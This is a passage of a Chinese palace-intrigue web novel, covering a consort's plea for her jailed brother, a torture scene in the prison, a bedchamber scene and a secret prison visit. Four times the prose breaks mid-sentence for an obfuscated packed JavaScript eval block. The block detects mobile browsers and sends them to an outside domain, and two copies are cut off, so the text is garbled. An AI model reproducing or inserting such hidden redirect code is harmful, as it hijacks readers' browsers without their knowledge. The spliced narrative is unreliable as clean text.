她嗫嚅道:“哥哥今日被靖远侯的人带走了,现下收押在廷尉处。他只是个读书人,哪里受得了廷尉的拷问!陛下,哥哥他是冤枉的!您能不能看在妾身的面子上,再帮哥哥一回?” 闻熙的声音如同数九寒天的冰雪一样冷:“朕救不了他。” “可是陛下……” “够了!顾妧,你不要再得寸进尺!” 顾妧噌地一下跪直了身子:“陛下!哥哥他没有罪,为何要被收押?陛下不也一直不满大将军和靖远侯吗,陛下是天子,是君父,难道要眼睁睁地看着两个臣子在上京一手遮天?” 闻熙大怒,猛地将秸笼摔在地上,厉声道:“顾妧!你放肆!大将军和靖远侯是你可以妄议的吗?” “朕这个天子,手中有多少实权,你倒是掂量掂量?早在五年前,顾云凌就已经是上京世族的眼中钉、肉中刺!朕将他从清河调回来,费了多少心力?如此你还不满足!如今,你哥哥自己赶着去触贺衍的霉头,是他自作自受!你要朕如何救他?” 顾妧咬牙,颤巍巍地抓住闻熙的衣角:“陛下……” 闻熙后退一步,寒声道:“你不必再求朕了,朕不会为了你,傻到往大将军的钉子上碰!” 闻熙猛地将她手中的衣角抽出,头也不回地出了凉亭。 顾妧痛哭着跪倒在地。 皇帝不肯帮她,她一个深宫女子,又能去求谁呢? “顾娘娘?” 秦淮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319207|167397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月的声音自她身后响起。 顾妧僵硬地回过头来。 江婳连忙上前,扶着顾妧的胳膊,将她从地上拉了起来,关切地问:“妹妹这是怎么了?可是陛下欺负你了,怎么哭成这样?” 顾妧抽泣道:“不是……是我哥哥,我哥哥出事儿了……” 江婳拉着顾妧,在一旁的圆凳上坐下,掏出张素色的帕子来,给顾妧揩眼泪:“妹妹先别哭,你同本宫说说,到底是怎么回事?” 顾妧哽咽着,将事情原委娓娓道来。 清河县有一户豪强,家主名唤赵展,此人素来跋扈霸道,仗着家大业大,横行乡里,欺压百姓。半月前,赵展带着家丁,强占了县中一户罗姓人家的数十亩良田,还将罗家的小闺女也绑走,逼她做自己的妾室。罗老汉和妻子拼死反抗,不仅没能救回女儿,罗老汉还被赵展的家丁打断了一条腿。 罗家人哭天喊地,一纸状书告到了清河县令那里。县令祢华出自清流世家,历来崇尚儒道,秉官公正,为人刚直,在清河很是受人爱戴。祢华听了罗家人的哭诉,当即勃然大怒,命人去赵家将赵展绑到公堂内,他要亲自审问。 衙役很快便将赵展绑到了大堂上,祢华大手一挥,下令将赵展打上三十大板,再让人去赵家,将被他强抢的罗姑娘送回家中。 赵展被打得哭爹喊娘,连声求饶。赵家人得知赵展被抓,忙带着家丁到县衙要人,祢华却不肯轻易放走赵展。赵展的夫人一气之下,写了一封书信,令人快马加鞭送到上京。 这赵展,正是皇帝身边的近侍赵椿之弟。赵椿得知弟弟被抓,还被打了三十大板,心中忿然不平,立刻派了心腹到清河,将祢华一家下狱,放走了赵展。 赵展见有哥哥给他撑腰,更加横行霸道,竟一把火把罗家五口人全部烧死。 祢华蒙难,赵展嚣张,清河县上下怨声载道,闹得沸沸扬扬。 消息很快便传到了上京。 五年前,顾云凌被贬清河,受了祢家不少提携和照顾,祢华对他算得上有知遇之恩。顾云凌得知恩师下狱,一时义愤填膺,与三十名太学生联名上书,跪到了皇宫的正阳门外,要求严惩赵椿和赵展,还祢家一个公道。 坏就坏在,赵椿虽名为皇帝近侍,实际上却是贺衍放在皇帝身边的眼线。既然此事牵扯到赵椿,那贺衍就必定不会坐视不理。 贺衍便命令掌管南北御林军军的晏澄洲,以顾云凌挑动学生滋事,喧哗宫闱,藐视皇权为由,将顾云凌连同上书的太学生一起下狱,交由廷尉处理。 顾妧的眼泪扑簌簌地掉:“哥哥重情重义,怎么可能眼睁睁地看着祢家受罪?如今,如今他被下了狱,身边连个照顾的人都没有,也不知道廷尉有没有对他动刑……” 江婳和秦淮月面面相觑。 顾妧抬起眸子,目光落在秦淮月身上,忽然眼睛一亮,仿佛找到了救命稻草。她猛地探过身去,激动地抓着秦淮月的胳膊:“秦姑娘,你,你是靖远侯的人对不对?我听说当今廷尉,正是靖远侯的属下,你去求求晏侯爷,让他把我哥哥放了,好不好?” 秦淮月微微咬唇:“这……” 上个月,她才同晏澄洲说,要与他桥归桥路归路,现在却要她拉下脸面去求晏澄洲,秦淮月实在有些为难。 她正想着怎么推拒,江婳却瞪圆了眼睛,打断道:“顾妧!” 13. 一翦蘼芜(五) 顾妧忍不住瑟缩了一下:“娘娘——” 江婳疾言厉色地道:“首先,阿月不是靖远侯的人。靖远侯已有家室,他与阿月毫无瓜葛!她并非靖远侯的姬妾,与你哥哥更是非亲非故。她有什么立场去替你哥哥说情?” “再者,朝堂上的事,从来都不是非黑即白的。本宫身为皇后,都不敢轻易干预朝政。阿月只是凤仪宫的宫人,踏错一步,便会惹火上身。你要阿月为了你,去让廷尉松口,你置阿月于何地?” 顾妧脸上露出黯然之色,嗫嚅道:“可是……” “万一你哥哥受了奸人挑拨,被人当枪使了——” “我哥哥不是那样的人!” 顾妧像只被踩了尾巴的狸奴,一下子瞪圆了眼。她咬牙反驳道:“我哥哥身正影直,是清河人人称道的高洁之士。若不是恩人蒙难,他才不会傻到要去趟浑水呢!” 想到深陷囹圄的顾云凌,顾妧捂着脸,泪水从指缝间倾泻:“对不起,我也不想的……我只是,只是不想让我哥哥在狱中受苦……” 秦淮月平声道:“娘娘,别哭了。” “奴婢帮您。” 顾妧倏地抬起头,眼中惊喜和疑惑参半,“真的?” 秦淮月轻轻点头:“奴婢答应了您,就不会食言。” 顾妧大为感激,扑通一声跪到地上:“秦姑娘,多谢你帮我救我哥哥!只要我哥哥安好,你,你便是我们顾家的恩人!” 说着,顾妧还要给秦淮月磕头,吓得秦淮月连忙将她拉住:“顾娘娘,您快起来,奴婢受不起的!您这是要折奴婢的寿啊。” 顾妧含着泪,还是认真地朝秦淮月福了福身:“秦姑娘,我哥哥就拜托你了。” 秦淮月又哄劝了几句,把顾妧送出了御花园。 江婳目送着顾妧的背影消失在小径尽头,方才冷下脸来,对秦淮月道:“跪下!” 秦淮月老老实实地跪了下来。 江婳气得浑身发抖:“你,你真是!你要本宫怎么说你——” 秦淮月低下头,睫毛密密地垂着,在眼下铺开一片阴影,“娘娘这是要审奴婢吗?” 江婳恨铁不成钢:“阿月,你没听我刚才在跟顾妧说的话吗?朝堂之事,岂是你我能随意插手的?你耳根子怎么就这么软,把别人家的棺材抬进自己家里哭,你怎么就非要跟着顾妧去趟浑水呢?” 秦淮月抿着唇笑:“可是娘娘,顾美人她救过奴婢的命啊。” 江婳愣住。 “那日,侯夫人派人把奴婢扔进莲池,如果不是顾美人亲自下水,把奴婢救了上来,奴婢早就成了地府的落水鬼了。” “婳婳,”她柔声道,“顾娘娘于我有恩,我不想做忘恩负义之人。因为害怕自己被拉下水,就事不关己,袖手旁观。” 江婳紧紧攥着膝上的衣料:“可是,可是……” 她忍不住红了眼圈:“我不想看到你受伤,阿月,我也想保护你啊。” 秦淮月是什么样的人,江婳比谁都清楚。 她素来爱恨分明,有恩必报,顾妧救了她一回,她便要陪顾妧赴汤蹈火,哪怕冒着身死的风险。 泪水从江婳的脸颊滑落,她咬了咬唇,伸手去擦。 秦淮月支起身子,温柔地拭去江婳的泪,“婳婳,我知道,你是为了我好。放心吧,晏……靖远侯他,也许对我还那么几分情意,不会看着我趟浑水的。” 秦淮月很是欣慰。她的小公主,来北雍这么几个月里,真的长大了好多。以前,江婳说话都是细声细气的,哪里会这般疾言厉色。 为了保护她,胆小的刺猬只能强迫自己变得坚强,竖起浑身的尖刺,企图把敌人吓走。 江婳扯了扯嘴角,还想再说些什么,秦淮月却宽慰她道:“放心吧,我不会有事的。” 江婳默然,轻轻点了下脑袋。 阴森的牢狱暗无天日,只余一线白光,萧索地照在被鲜血染红的刑架上。 刑架上绑着一个人。那人蓬头垢面,一身囚服血迹斑斑。浸过辣椒水的鞭子一下一下抽打在他身上,疼痛便如同火星一般在皮肉筋骨间噼里啪啦地炸开。 啪的一声,鞭子再一次毫不留情地抽下,顾云凌疼得浑身抽搐,冷汗伴随着剧痛一起涔涔流下,他的身子不住地发抖,一连串破碎的呓语从口中溢出。 杜之逊攥紧了鞭子:“顾先生,读书人脸皮薄,身子骨也弱,你还是趁早招了吧,也可以早些免去皮肉之苦。” 顾云凌扯了扯嘴角,露出一个苍白地笑:“咳咳……该说的话,顾某已经说过很多遍了,也不知道,廷尉大人到底想听顾某说什么。” “顾先生那日鼓动太学生闹事,道是一时鲁莽,并非与朝廷作对。本官不疑有他,只是上书救祢华一事,顾先生可否再多言几句?” 顾云凌轻笑着:“士为知己者死,人之常情罢了。在下只是不忍心看恩人蒙难,清流受辱,杜大人难道不明白?” 杜之逊冷声:“顾云凌,你不必再拿这套说辞来搪塞本官。本官且问你,你上书救祢华,受了何人指使?” “在下不懂大人的意思。” “还要本官再问得明白些吗?你可是得了清河王的授意?” 清河王闻弼,出自北雍开国皇帝的嫡幼子一脉,历经百年,这一支宗室虽然已经没落,但祖宗传下的爵位仍在。闻弼因近年来镇守西凉有功,先帝才破格封他为清河王。 而祢家与清河王一脉是世交,祢华的父亲还是清河王的夫子,祢家下狱,清河王难道能坐视不理? 而顾云凌又受祢华的提拔,他在清河谪居五年,指不定便与清河王有勾结。 若不是杜之逊探查到,清河王有私蓄部曲之嫌,他也不会想到这一层去。 杜之逊扯着眉宇,不耐地等待顾云凌的回答。 半晌,顾云凌的唇边掠过一抹冷嘲:“无根之人,一介阉宦,也敢妄议大雍藩王?” 杜之逊气得脸色铁青,握着鞭子的手隐隐颤抖,“顾云凌,本官以礼相待,你不要不识好歹!” “大人”,门口的狱卒躬身禀报,“侯爷来了。” 晏澄洲面色阴郁,带着一身阴寒的湿气,缓缓踏进了牢房。 “之逊。” 杜之逊压下火气,拱手行礼道:“侯爷。” 晏澄洲解下披风,递给一旁的随从。几个狱卒见他来了,连忙奉上茶水,又搬来一把交椅请他坐下。 他呷了一口茶,冷眼看向杜之逊:“怎么样?问出来了吗?” 杜之逊僵硬地摇了摇头:“小瞧了他,严刑伺候了几日,还是撬不动他的嘴。” 晏澄洲抬眼,嗤笑了一声:“妇人之仁。” 杜之逊脸色有些难堪,垂首道:“是属下办事不力。” 晏澄洲坐直了身子,幽邃的眸子逼视着杜之逊,薄唇轻启:“我早就跟你说过,对阶下囚仁慈,等同于自伤。你一而再再而三地放水,对方便觉你软弱可欺。之逊,我举荐你坐上这廷尉的位子,你万万不该有恻隐之心。” “大哥教训的是。”杜之逊低声道。 这时,刑架上的顾云凌忽然抬起眼帘,嘲讽地轻笑了一声。 晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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杜之逊忍不住浑身发抖,颤声道:“大哥,这……这要是把他的嗓子烫坏了,即使他想说,也说不出来了啊。” 晏澄洲嘴角轻挑,望向他的眼神轻佻,仿佛在嘲笑他的幼稚:“口舌没了,这不还有一双手吗?顾先生通晓圣人经典,写个字应该还是会的吧?” 他转身,在随从的服侍下穿上披风,语调懒懒: “给他留一只右手写字,左手要不要,都无所谓。” 每月十五,按规矩,皇帝得宿在凤仪宫中。 江婳紧张地坐在榻上,双手在身前扭绞,将下唇咬得泛白。 闻熙和顾妧吵了嘴,最近几日都独自宿在甘泉宫,也未曾临幸其她的宫妃。她特地挑了这个日子,帮秦淮月和顾妧打掩护,让她们去廷尉狱寻顾云凌。 皇帝宿在她这里,应该不会留意顾妧的去向。 殿外的更漏滴滴答答,敲出空灵的响声,在阒静的夜里格外清晰。廊下的八角琉璃宫灯被风吹得微微摇晃,在玉墀上投下一片寂寥的影子。 江婳靠在榻上,一只手撑着下巴,脑袋一点一点的,等得都快要睡着了。 等到将近戌时,皇帝才进了殿。 他迈过门槛,绕过屏风,向内室望来。 红烛摇曳,芙蓉帐暖。 雪肤花貌的美人靠在榻上,鸦黑色的长发倾泻下来,遮住大半香肩和藕臂。她穿了一身单薄的烟紫色纱裙,雪白的小脸晕出绯色,鼻尖挺俏,朱唇红艳。 闻熙提步走来,见她这副模样,不由得哂然:“皇后这是困了?既然困了,何不先歇下?” 江婳的睫毛颤了颤,一双桃花眸潋滟睁开,悠悠转醒过来:“啊……陛下,您来了。” 她的嗓音娇媚,尾音拖得很长,就像一根细细的小钩子,轻轻在他心尖上挠动。 闻熙眸色暗沉,喉结滚了几滚,几步上前揽住她的腰,将她抱到里间的床上。 14. 一翦蘼芜(六) 江婳脑子还是晕乎乎的,身子突然凌空,她还没反应过来,不满地瞪着闻熙,嘟哝道:“你做什么呀?” 闻熙捏了捏她的脸,嘴角不由得翘起:“皇后的职责,就是侍寝。你说朕要同你做什么?” 江婳轻蹙起眉尖,她的脸肉被他扯得有点疼,不过,这些微的疼痛倒是让江婳清醒过来,今晚好像是她侍寝的日子。 一想到待会又要被这只啄木鸟啄,江婳的脑袋就疼了起来。 她深吸了一口气,在心中给自己加油打气。 不怕不怕,就当是为朋友两肋插刀了。 她紧闭着眼睛,摆出一副视死如归的架势来。 闻熙将她放倒在床上,身子倾覆下去,不由得啧了啧。 好好一个千娇百媚的美人儿,装得跟个活死尸似的,也太煞性儿了。 江婳闭着眼,全身上下都紧绷着,十个脚趾头紧紧蜷起,任由闻熙解她的衣衫。 闻熙伸出一根手指,在她脸上戳了戳:“喂喂,你倒是理一理朕。” 江婳就当作没听见,尽心尽力地扮演活死人。 “皇后,再不理朕,朕可要治你不敬了。”他不满地在她腰上掐了一把。 江婳撇撇嘴,真是个幼稚鬼。 闻熙喊了两三声,江婳都不理他,渐渐的也失了耐心。 这小皇后,把他的话当耳旁风,甚是可恶! 闻熙起了坏心,凑过脸去,一口咬在那娇艳欲滴的红唇上。 江婳疼得嘶了一声,瞪大了眼睛:“你做甚么咬人!” 闻熙粲然一笑,“原来会说话呐,朕还以为你真死了呢。” 这个混账,竟然咒她死! 江婳气不打一处来,腮帮子鼓鼓的,恶狠狠地瞪着他。 闻熙笑了,又往她唇上舔了一口。 江婳更恼了,嫌恶地皱起眉梢,呸了一声,伸手抹去嘴上的津涎。 闻熙撑着下巴,笑吟吟地侧身看她。 小皇后嫌弃他,他一直都晓得。 生起气来的美儿,可比活死尸有意思多了。 他目光灼灼,借着葳蕤烛光,仔细地打量身下的小皇后。 小皇后是南邺来的,典型的江南美人,个头玲珑娇小,那肌肤白得简直像刚剥出来的嫩笋一样,又软又滑。 他的目光一路流连,从她精致的锁骨,再到胸口的饱满,直至那不盈一握的腰身。 被他这样盯着瞧,江婳不觉羞赧,小脸烧得热腾腾的,蓦地蹦出来一句:“还要不要做正事了!” 话刚说完,她就羞红了脸。 闻熙眸光轻闪,温热的掌钳住她嫩如杨柳的腰,唇角带了些笑意:“急什么,当然要做了。” 江婳轻轻地哼唧了一声。 不知道他是不是开窍了,前几次那种干涩的疼痛,竟然被一种奇异的欢愉所取代。这让江婳稍稍感到一丝慰藉,只要不疼,她虚与委蛇地应付一下皇帝,也没有什么大不了嘛。 她索性闭上眼睛,不再抗拒他的入侵,心里也松快了些许。 感受到她的滑腻,上方的男人似乎更加兴奋,不由得加快了速度。 …… 穹庐一般的夜幕黑压压的,笼罩在朱墙绿瓦之上,叫人莫名喘不过气。 暗沉的夜色下,两个纤薄的身影贴着墙根,踽踽独行,有如鬼魅一般。 顾妧的声音在兜帽下颤抖:“秦姑娘,你,真的能带我去见哥哥吗?” 无边无际的黑暗,带来不可估量的恐惧,顾妧打了一个寒战,嗫嚅道:“我,我怕……” 秦淮月走在她前头,压低了声音道:“娘娘信我,奴婢会护好娘娘的。” 宫中的御林军皆听晏澄洲的号令,就算被人发现,秦淮月也有办法。 思及此,秦淮月自嘲地笑了笑,她口口声声看不惯晏澄洲投效北雍,此时却还是依仗着他的势力,她才这么有恃无恐。 两个人猫着腰,借着夜色的遮掩,小心翼翼地往宫门的方向走去。 顾妧的脚步一顿,慌张地抬起头:“秦姑娘,前面,前面有人。” 秦淮月抬起眼帘。 前方的拐角处,立着一个高大的身影。冰冷的铠甲折射出银光,他眉宇肃穆,神色端凝,腰间佩着一柄剑,脸色阴沉地看着二人,仿佛早已在这里等候多时。 顾妧的手背隐隐发抖,忍不住往后退了好几步,“秦、秦姑娘……” 秦淮月却抿唇一笑:“贾将军。” 殊不知,她就是在等这个人。 贾韫扯着眉宇,提步走上前来:“秦姑娘,你们这是要上哪去?” 秦淮月温声道:“是侯爷派你盯着我的?” 贾韫一愣,没想到秦淮月如此聪慧,竟一眼看破了他的意图。 秦淮月微微一笑。 上次她被侯夫人的人推下水,晏澄洲将那两人拿住,交给贾韫处理。之后宫中便再无人敢对她不敬,定是有人在暗中护着她。 秦淮月正想利用这一点,让贾韫带她和顾妧去见顾云凌。 贾韫目光沉沉:“既然秦姑娘已经知道末将的职责,就请您不要为难末将。你们二人已经犯了宫禁,看在侯爷的面子上,这次便罢了。秦姑娘,你们还是快些回宫吧。” “贾将军,我们费了好大一番功夫才走到这里,将军一句话便想让我们回去,未免也太不甘心了。”秦淮月笑道。 贾韫压抑着胸中的怒火,道:“那秦姑娘想要如何?” 秦淮月倏地从袖中抽出一把匕首,抓过顾妧的手,将匕首架在了自己脖子上。 顾妧和贾韫皆愣住了。 秦淮月声音压得极低,附在顾妧的耳畔道:“挟持我。” 顾妧握着匕首的手不住颤抖,掩着唇哭道:“不行……秦姑娘,我不行的……” 秦淮月狠狠瞪她:“你还想不想见你哥哥了!” 顾妧瑟缩了一下,咬住牙关,颤抖着握紧了匕首。 秦淮月眸光轻闪,“现在我的性命在你手里,他不敢轻举妄动。贾韫是晏侯爷的人,应该晓得你哥哥被关押在何处。” 顾妧点点头,蓄足了勇气,将匕首抵在秦淮月的脖子上,大声道:“带我去见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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贾韫正要回答,却听秦淮月冷声道:“贾将军不要想着拖延时间,这廷尉狱关的可全是穷凶极恶之徒,在这儿待得越久,风险就越大。还望将军配合一些,我们说几句话便走,这样也不会连累将军受罚。” 贾韫被秦淮月一语道破心思,无奈地叹了口气,“那二位可要跟紧了。” 贾韫带着两人,在一间偏僻的牢房处停下。 “这间便是。” 顾妧抬眸望去,只见一座血迹斑斑的刑架立在地牢中央,里面陈设着各种骇人的刑具。铺着灰色石砖的地上渗着一滩暗红,像是血迹,将地面染得看不出原来的颜色。 刑架上锁着的那个人披散着乱发,一道一道的血痕如同蚕茧一般将他裹挟,身上裸露出来的肌肤伤痕累累,完全是一副不人不鬼的模样,与她那貌如谪仙的哥哥简直判若两人。 顾妧只觉得眼前一黑,心仿佛被一只无形的手捏在掌心,一点点缩紧,疼得她几欲窒息。 她扑通一声跪倒在地,恸哭出声:“哥哥……哥哥……” 秦淮月一惊,“娘娘,小声些,别惊动了狱卒。” 里头的人僵硬地抬起头,声音沙哑地开口:“阿、阿妧?” 15. 一翦蘼芜(七) “哥哥!”顾妧猛地抓住生锈的铁栅门,眼里全是泪花,失声恸哭起来,“哥哥……你怎么……怎么成这样了?是谁伤的你?” 顾云凌僵硬地抬起头,不可置信地看向顾妧:“你,咳咳……你怎么来了!?” 顾妧一阵哽咽,“哥哥——” “谁让你来的?咳咳咳……阿妧,你怎么能来这儿呢!快回去,赶紧走!” 顾云凌嗓音沙哑得如同磨砂,俊眉紧紧蹙起,恼怒地瞪着眼前的妹妹。 顾妧忍不住瑟缩了一下。顾云凌无论同谁说话,都是温声细语,言辞温和,他从来没有这般吼过她。 她这几日本就过得提心吊胆,被顾云凌这么一吼,眼泪就不争气地流了出来。 见妹妹红了眼圈,顾云凌语气稍稍缓和了些,叹了口气道:“阿妧,哥哥没事儿,这里不安全,阿妧快些走罢。” “我不走!”顾妧哭着说,“你这个样子,怎么能说没事……他们、他们怎么能下这么重的手!呜呜……” “阿妧”,顾云凌沉下声音,“哥哥不会有事。现下是廷尉狱换岗的时间,马上就会有狱卒来,你现在马上离开这里!” 顾妧从腰间的荷包里取出一瓶金疮药,想要递进铁栅栏里,“哥哥,我带了药来——” “顾娘娘,”贾韫目光沉沉,打断她道,“马上就要来人了,娘娘还是快些离开吧。” 顾云凌闻言,错愕地抬起头来,这才注意到,顾妧身边竟站了个禁军打扮的男人,还有一个披着斗篷的人。那人个子不高,看上去瘦瘦小小的,应当是个姑娘。 “他们是?” 顾妧忙道:“秦姑娘是皇后娘娘身边的宫女,是她一路陪着我来的。” “荒唐!”顾云凌怒道,“你擅作主张,跑来这廷尉狱也就罢了!怎么能随便拉无辜的人下水!你忘了哥哥以前是怎么教你的吗!” 顾妧目露愧色,嗫嚅着道:“她,她认识靖远侯,所以我才……” 顾云凌一愣,目光诧然地看向秦淮月。 兜帽遮住了姑娘的大半如花容颜,只能看见她白皙小巧的下巴尖儿,还有那娇嫩如花瓣的唇。 听到“靖远侯”三个字,她忍不住微微抬头。 顾云凌的心顿时被愧疚填满,低声道:“秦姑娘,真是多谢你了。这次是舍妹任性,连累你冒着风险带她进来。我保证,不会再有下次了,阿妧”,顾云凌话锋一转,顾妧忙抬起头来。 顾云凌缓缓舒了一口气:“以后,不可再让秦姑娘陪着你做这般危险的事,也不要再来廷尉狱找我。” 顾妧含着泪点头,又郑重地对着秦淮月拜了下去:“秦姑娘,我替哥哥多谢你。” 秦淮月忙将她扶起:“娘娘折煞奴婢了,快请起吧。” 贾韫蹙起眉心,担忧地说:“秦姑娘,顾娘娘,我们还是快些离开吧,再不走,恐怕就来不及了。” 这时,刑架上的顾云凌忽然剧烈颤抖起来,嘴角不住地抽搐,身上缚着的铁链发出一阵哐啷的响声。 顾妧焦灼地问:“哥哥,怎么了?可是哪里不舒服?” “阿、妧”,顾云凌的牙齿都在发抖,“后面——” 三人身后传来一个森冷的声音,“你们是如何进来的?” 杜之逊紧蹙着眉,手中握着一柄冷剑,峻峭的剑刃泛着寒光,气势逼人。 顾妧脸色一白,怆然泪下,“秦、秦姑娘……” 秦淮月颤抖着扶着她的胳膊,勉强站稳脚跟。 杜之逊的目光落在贾韫身上,寒声道:“贾将军,你擅自带人闯我廷尉狱,还想私劫囚犯,该当何罪?” 贾韫咬牙,咚地一声跪下,“末将,失职。但是大人——” “还不快将此二人拿下!” 顾云凌强忍着嗓子里那股火烧火燎感,嗓音沙哑地道:“大人,要罚就罚在下!莫要牵连无辜女子!” 杜之逊斜睨着他:“你道她们二人无辜,她们既然与你相识,那便没有无辜一说!顾先生自己都是泥菩萨过江,还有心思来看顾旁人吗?” 他又冷眼看向贾韫:“还不快动手!待此事了了,你自去向侯爷请罪!” 贾韫惶急地抬起头来:“大人,您不能带走她们啊!是侯爷吩咐末将,让末将保护秦姑娘!就算秦姑娘有错在先,您、您也不能……” “秦姑娘?” 杜之逊神色骤变,不由得看向两个姑娘:“你是,秦淮月?” 秦淮月心下一颤,问道:“你为何晓得我的名字?” 杜之逊轻哂,缓缓放下手中的剑,“在荆州的时候,大哥就常跟我提起你。” 荆州? 秦淮月彻底愣住了:“你是南邺人?” 杜之逊微微一笑:“当年在江陵,我有幸曾和大哥一起在晏将军手下效力。晏将军治军严明,为人公正,是南邺不可多得的将才。只可惜……还是棋差一着,败在了北雍人手里。” 秦淮月心里顿时涌起一股反感,她皱起眉梢,不喜地道:“你既是南邺人,为何也向北雍称臣?是晏筠让你这么做的?” “哈,是了。秦姑娘,先帝德薄,中了北雍的离间计,丝毫不怜惜君臣之谊,竟对晏家痛下杀手,大哥投降北雍,实是无奈之举。” 秦淮月不由得哽住。 晏家灭门,她也受了牵连,被迫入宫为奴。宫中风言风语不断,秦淮月却一直相信,晏澄洲绝不可能向北雍称臣。可是到了北雍,她才发现自己这么多年的坚持都已付诸东流。 “那大老爷,是怎么死的?”秦淮月颤声问道。 杜之逊苦涩地笑笑,“这个,在下不方便回答,秦姑娘还是去问侯爷吧。” 他对贾韫道:“看在秦姑娘的份上,这次本官便不计较了。只是这位顾娘娘”,杜之逊缓缓道,“本官该如何处置呢?” 秦淮月忙护住顾妧:“廷尉大人,她是陛下的嫔妃,要处置,也应由陛下来处置。” 她目光恳切,“况且,是我逼迫贾将军带她进来的,大人要怪,也得先怪我。” “秦姑娘的意思是,本官不能动她?” 秦淮月咬唇不语。 顾妧和顾云凌都浑身紧绷,生怕杜之逊向秦淮月发难。 僵持了片刻,杜之逊终究还是妥协了: “罢了。” “本官放你们走,不过,没有下次。” 秦淮月默然。 顾云凌目送着几人出了牢房,一颗悬着的心总算落下,如释重负地舒了口气。 贾韫把顾妧送回锦绣宫后,便护送秦淮月回凤仪宫。 一路上,贾韫都愁眉不展,忍不住对秦淮月道:“秦姑娘,您可再莫插手朝政之事了,这回擅闯廷尉狱,已经是犯了大忌。幸亏碰上了杜大人,要是换作别人,只怕末将已经被拿到侯爷面前去了。” 秦淮月听了贾韫的牢骚,抿唇笑道:“放心,侯爷不会责罚你的。” 说着,她突然顿住脚步,向贾韫敛衽行礼,“今天真是多谢贾将军了,若不是将军通融,我也不能全了顾娘娘的心愿。” 贾韫忙去扶她,赧然地笑道:“姑娘快起来,快起来吧。” 秦淮月笑吟吟的,“贾将军,我还有一事,想要拜托您。” 贾韫瞬间感到一阵头大:“何、何事?” 秦淮月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324068|167397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朱唇轻牵,“我有话想同侯爷说,劳烦将军带我出宫。” 贾韫皱眉:“侯爷时常在宫中行走,姑娘若想见侯爷,为何非得此时?” 秦淮月轻轻摇头:“等不及了,我现在便想见他。” 方才,杜之逊的话让她动了心神。 莫非,是她弄错了因果,晏澄洲当年投降一事,另有隐情? 她的心怦怦直跳,想要去找晏澄洲问个明白。 “这……这个时辰,侯爷应该在府上。” 贾韫目露为难。 秦淮月哀求道:“贾将军,只要你带我出宫,帮我向侯爷通传一声便可。侯爷若怪罪下来,也有我担着。” 贾韫心有不忍,勉强点头应下:“好吧,不过出了宫,你不可擅自行动,必须得听末将的安排,姑娘若是有个三长两短,末将可担待不起。” 晏澄洲此时并不在侯府中,而是在将军府上拜会贺衍。 正厅中央陈设着紫檀雕梅花凌寒座屏,两人坐在八宝雕花如意桌案前,桌上摆了只錾花银壶,还有一盘热气腾腾的羊肉。 晏澄洲起身,亲自为贺衍斟了一杯酒,笑道,“将军,您尝尝,这是府中珍藏的桂花酿。” 贺衍把着酒盏,嘴角微微上扬:“这是秋娘的手艺吧。” 晏澄洲笑道:“将军与夫人果然兄友妹恭,不错,此酒正是夫人所酿。她晓得将军好这一口,所以特地差我给您送来。” 贺衍抿了一小口,便将酒盏搁到一边,提箸夹了一块儿羊肉,叹道:“秋娘有心了,可惜我如今的身子不宜饮酒,平白糟践了秋娘的心意。” “将军哪里的话。夫人知晓将军近来身体抱恙,定不会怪罪将军。夫人一年通共就酿上那么几坛,这酒您留着慢慢喝,不妨事儿。” 贺衍笑道:“都说嫁出去的姑娘,泼出去的水。秋娘的手艺,我是无福消受了,倒平白便宜了你这小子。” “能得此贤妻,是晏筠的福分”,晏澄洲笑道,为贺衍夹了一块羊肉,“将军趁热吃吧。” 贺衍又饮了一口,眸光淡淡瞥向他,“说起来,你今年已是廿四,膝下仍旧没有子嗣。可是秋娘身体有恙?我识得一个姓王的大夫,乃是上京有名的妇科圣手,可要请人上门调理调理?” 晏澄洲眉心松泛:“将军多虑了。夫人身体并无大碍,况且子嗣一事得看缘分,急也急不来。” 贺衍的指轻轻摩挲着酒盏,“话虽是这么说,如今你府中只有秋娘一人……还是早做打算的好。” 察觉到他话里的试探意味,晏澄洲立马敛下眸光,道:“在下尚无纳妾的打算。” 他晓得,贺衍心里仍然对他有所防备。这些年,他掌宫中南北两军,又专管刑狱之事,树大招风,不得不防。贺衍是怕他借着膝下无子的名义,与朝中其他世族联姻。他可是贺衍一手扶持起来的狼崽子,贺衍身子渐弱,就怕他趁其不备,反咬贺家一口。 晏澄洲在心里冷笑。 他的小腿蓦地一抖,寒意沿着经络,一寸寸爬上他的胫骨,细细密密的痛瞬间袭来。晏澄洲扯着眉宇,额间沁出一滴冷汗。 他的腿在当年与北雍的对战中断过,接好后,每到季节之交,便会一阵一阵地刺痛,如同千万根针一齐钻入骨髓,十分难捱。 贺衍注意到他的不适,问道:“你的腿伤,又发作了?” 晏澄洲咬紧了后槽牙,勉强牵动嘴角:“有劳将军费心……老毛病了。” “可要叫府医过来瞧瞧?” “不必,回去施几根针,就消停了。” 